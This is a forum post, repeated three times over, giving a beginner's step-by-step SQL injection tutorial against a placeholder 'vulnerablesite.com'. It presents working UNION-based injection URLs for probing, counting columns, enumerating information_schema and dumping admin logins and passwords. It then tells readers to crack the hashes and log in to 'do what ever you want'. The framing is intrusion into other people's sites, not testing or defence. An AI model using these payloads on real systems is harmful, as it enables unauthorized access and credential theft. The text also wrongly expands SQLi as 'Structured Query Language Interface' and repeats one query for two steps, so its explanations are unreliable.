[Anonpoke]

Due to a lot of requests I will be writing a series of hardcore hacking tutorials. I will be trying to write the tutorial from a real noob's point of view so that you will understand better.

Ok so let's begin by understanding how a website is available to you by typing their address on internet browsers because I believe you should understand how a it works before you exploit their vulnerabilities.






OK after viewing the above image Iam sure most of you must know by how hackers intrude.

So now lets learn method 1:-
It is called SQLi.

What is SQLi ?
The Structured Query Language Interface (SQLI) is the internal interface between an application and the Online Web Server.

Confused because of lots of technical jargons?
Ok, I will make it simple. Basically a web hosting saves ALL its information in a table format known as Database. So all the usernames and password for accessing the webhosting will also be saved in the very same format. So SQLi is an interface where the user sends a query and the database gives an automated reply. So we will use this method to get the information about the admin's username and password, hence we get to access the complete web server.

Note:- All are examples used here...

Oki so first you need to have the main url :-

Code:

http://www.vulnerablesite.com

Now try to find some Url where a variable (a query) is passed :-

Code:

http://www.vulnerablesite.com/index.php?id=1

Normally the variable is passed after "=" sign. So to check for vulnerability add ' sign

Code:

http://www.vulnerablesite.com/index.php?id=[color=red]'[/color]]1

If you get an error that means the site is SQLi vulnerable otherwise it cant be exploited using this method.
So to wrap it up, if you get an error that means we will be able to get the database details.

So lets find how many number of columns are their for the database, Simple add "+union+select+1" and so on.

Code:

+1,2 +1,2,3 +1,2.3,4 +1,2,3,4,5 http://www.vulnerablesite.com/index.php?id=1+union+select+1 http://www.vulnerablesite.com/index.php?id=1+union+select+1,2 http://www.vulnerablesite.com/index.php?id=1+union+select+1,2,3 http://www.vulnerablesite.com/index.php?id=1+union+select+1,2,3,4 http://www.vulnerablesite.com/index.php?id=1+union+select+1,2,3,4,5

Untill you guess the correct column number you will be getting error.

Now we can use sql functions:-

Code:

http://www.vulnerablesite.com/index.php?id=1+union+select+1,database(),version(),4,5

CLICK THIS LINK if you want to learn more sql functions.

Normally there will be a table by default in all databases named information_schema.

Code:

http://www.vulnerablesite.com/index.php?id=1+union+select+1,2,3,4,5+from+information_schema.tables+where+table​_schema=database()

We will get the database name after the above step.
So lets get the database structure now :-

Code:

http://www.vulnerablesite.com/index.php?id=1+union+select+1,2,3,4,5+from+information_schema.tables+where+table​_schema=database()

Oki now you will get lots of table names. For example lets say we get a table named "admin".

So we know table name = admin
Now lets find the column that will have the user and pass of the admin

Code:

http://www.vulnerablesite.com/index.php?id=1+union+select+1,2,3,4,5+from+information_schema.columns+where+tabl​e_schema=database()

Now you will get a list of the columns, Mostly the required columns will be "login" and
"password"

So lets wrap it our journey.

Code:

http://www.vulnerablesite.com/index.php?id=1+union+select+1,group_concat%28login,0x3a,password%29,3,4,5+from+a​dmin

That will show you the login and password list of the users and iam sure you will be able to guess the admin's user and pass.
Most of the time you will get the raw password. But sometimes you will get it encrypted in MD5 format. Just use any basic decrypters to crack through.

After you have the login and pass of the admin, find the admin panel or cpanel, login and do what ever you want

Next tutorial is on the way.
happy hacking


Newbie Here in forum

[Anonpoke]

Due to a lot of requests I will be writing a series of hardcore hacking tutorials. I will be trying to write the tutorial from a real noob's point of view so that you will understand better.

Ok so let's begin by understanding how a website is available to you by typing their address on internet browsers because I believe you should understand how a it works before you exploit their vulnerabilities.






OK after viewing the above image Iam sure most of you must know by how hackers intrude.

So now lets learn method 1:-
It is called SQLi.

What is SQLi ?
The Structured Query Language Interface (SQLI) is the internal interface between an application and the Online Web Server.

Confused because of lots of technical jargons?
Ok, I will make it simple. Basically a web hosting saves ALL its information in a table format known as Database. So all the usernames and password for accessing the webhosting will also be saved in the very same format. So SQLi is an interface where the user sends a query and the database gives an automated reply. So we will use this method to get the information about the admin's username and password, hence we get to access the complete web server.

Note:- All are examples used here...

Oki so first you need to have the main url :-

Code:

http://www.vulnerablesite.com

Now try to find some Url where a variable (a query) is passed :-

Code:

http://www.vulnerablesite.com/index.php?id=1

Normally the variable is passed after "=" sign. So to check for vulnerability add ' sign

Code:

http://www.vulnerablesite.com/index.php?id=[color=red]'[/color]]1

If you get an error that means the site is SQLi vulnerable otherwise it cant be exploited using this method.
So to wrap it up, if you get an error that means we will be able to get the database details.

So lets find how many number of columns are their for the database, Simple add "+union+select+1" and so on.

Code:

+1,2 +1,2,3 +1,2.3,4 +1,2,3,4,5 http://www.vulnerablesite.com/index.php?id=1+union+select+1 http://www.vulnerablesite.com/index.php?id=1+union+select+1,2 http://www.vulnerablesite.com/index.php?id=1+union+select+1,2,3 http://www.vulnerablesite.com/index.php?id=1+union+select+1,2,3,4 http://www.vulnerablesite.com/index.php?id=1+union+select+1,2,3,4,5

Untill you guess the correct column number you will be getting error.

Now we can use sql functions:-

Code:

http://www.vulnerablesite.com/index.php?id=1+union+select+1,database(),version(),4,5

CLICK THIS LINK if you want to learn more sql functions.

Normally there will be a table by default in all databases named information_schema.

Code:

http://www.vulnerablesite.com/index.php?id=1+union+select+1,2,3,4,5+from+information_schema.tables+where+table​_schema=database()

We will get the database name after the above step.
So lets get the database structure now :-

Code:

http://www.vulnerablesite.com/index.php?id=1+union+select+1,2,3,4,5+from+information_schema.tables+where+table​_schema=database()

Oki now you will get lots of table names. For example lets say we get a table named "admin".

So we know table name = admin
Now lets find the column that will have the user and pass of the admin

Code:

http://www.vulnerablesite.com/index.php?id=1+union+select+1,2,3,4,5+from+information_schema.columns+where+tabl​e_schema=database()

Now you will get a list of the columns, Mostly the required columns will be "login" and
"password"

So lets wrap it our journey.

Code:

http://www.vulnerablesite.com/index.php?id=1+union+select+1,group_concat%28login,0x3a,password%29,3,4,5+from+a​dmin

That will show you the login and password list of the users and iam sure you will be able to guess the admin's user and pass.
Most of the time you will get the raw password. But sometimes you will get it encrypted in MD5 format. Just use any basic decrypters to crack through.

After you have the login and pass of the admin, find the admin panel or cpanel, login and do what ever you want

Next tutorial is on the way.
happy hacking


Newbie Here in forum

[Anonpoke]

Due to a lot of requests I will be writing a series of hardcore hacking tutorials. I will be trying to write the tutorial from a real noob's point of view so that you will understand better.

Ok so let's begin by understanding how a website is available to you by typing their address on internet browsers because I believe you should understand how a it works before you exploit their vulnerabilities.






OK after viewing the above image Iam sure most of you must know by how hackers intrude.

So now lets learn method 1:-
It is called SQLi.

What is SQLi ?
The Structured Query Language Interface (SQLI) is the internal interface between an application and the Online Web Server.

Confused because of lots of technical jargons?
Ok, I will make it simple. Basically a web hosting saves ALL its information in a table format known as Database. So all the usernames and password for accessing the webhosting will also be saved in the very same format. So SQLi is an interface where the user sends a query and the database gives an automated reply. So we will use this method to get the information about the admin's username and password, hence we get to access the complete web server.

Note:- All are examples used here...

Oki so first you need to have the main url :-

Code:

http://www.vulnerablesite.com

Now try to find some Url where a variable (a query) is passed :-

Code:

http://www.vulnerablesite.com/index.php?id=1

Normally the variable is passed after "=" sign. So to check for vulnerability add ' sign

Code:

http://www.vulnerablesite.com/index.php?id=[color=red]'[/color]]1

If you get an error that means the site is SQLi vulnerable otherwise it cant be exploited using this method.
So to wrap it up, if you get an error that means we will be able to get the database details.

So lets find how many number of columns are their for the database, Simple add "+union+select+1" and so on.

Code:

+1,2 +1,2,3 +1,2.3,4 +1,2,3,4,5 http://www.vulnerablesite.com/index.php?id=1+union+select+1 http://www.vulnerablesite.com/index.php?id=1+union+select+1,2 http://www.vulnerablesite.com/index.php?id=1+union+select+1,2,3 http://www.vulnerablesite.com/index.php?id=1+union+select+1,2,3,4 http://www.vulnerablesite.com/index.php?id=1+union+select+1,2,3,4,5

Untill you guess the correct column number you will be getting error.

Now we can use sql functions:-

Code:

http://www.vulnerablesite.com/index.php?id=1+union+select+1,database(),version(),4,5

CLICK THIS LINK if you want to learn more sql functions.

Normally there will be a table by default in all databases named information_schema.

Code:

http://www.vulnerablesite.com/index.php?id=1+union+select+1,2,3,4,5+from+information_schema.tables+where+table​_schema=database()

We will get the database name after the above step.
So lets get the database structure now :-

Code:

http://www.vulnerablesite.com/index.php?id=1+union+select+1,2,3,4,5+from+information_schema.tables+where+table​_schema=database()

Oki now you will get lots of table names. For example lets say we get a table named "admin".

So we know table name = admin
Now lets find the column that will have the user and pass of the admin

Code:

http://www.vulnerablesite.com/index.php?id=1+union+select+1,2,3,4,5+from+information_schema.columns+where+tabl​e_schema=database()

Now you will get a list of the columns, Mostly the required columns will be "login" and
"password"

So lets wrap it our journey.

Code:

http://www.vulnerablesite.com/index.php?id=1+union+select+1,group_concat%28login,0x3a,password%29,3,4,5+from+a​dmin

That will show you the login and password list of the users and iam sure you will be able to guess the admin's user and pass.
Most of the time you will get the raw password. But sometimes you will get it encrypted in MD5 format. Just use any basic decrypters to crack through.

After you have the login and pass of the admin, find the admin panel or cpanel, login and do what ever you want

Next tutorial is on the way.
happy hacking


Newbie Here in forum